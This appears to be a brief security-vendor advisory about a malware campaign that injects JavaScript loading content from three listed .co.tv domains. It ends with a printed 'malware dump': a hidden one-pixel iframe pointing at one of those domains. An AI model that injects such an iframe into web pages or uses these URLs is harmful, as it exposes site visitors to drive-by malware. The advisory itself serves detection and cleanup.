Description: Javascript included from a .co.tv domain, used to distribute malware.
Domains used:
http://vmvfonc.co.tv/?go=1
http://uhcmsgfq.co.tv
http://yswlifofj.co.tv
Affecting: Any web site (no traffic specified)
Clean up: Malware is generally hidden behind a base64 encoded block on PHP. Sign up here for our clean up: http://sucuri.net/signup
Malware dump:
<iframe width="1" height="1" src="http://vmvfonc.co.tv/?go=1"></iframe>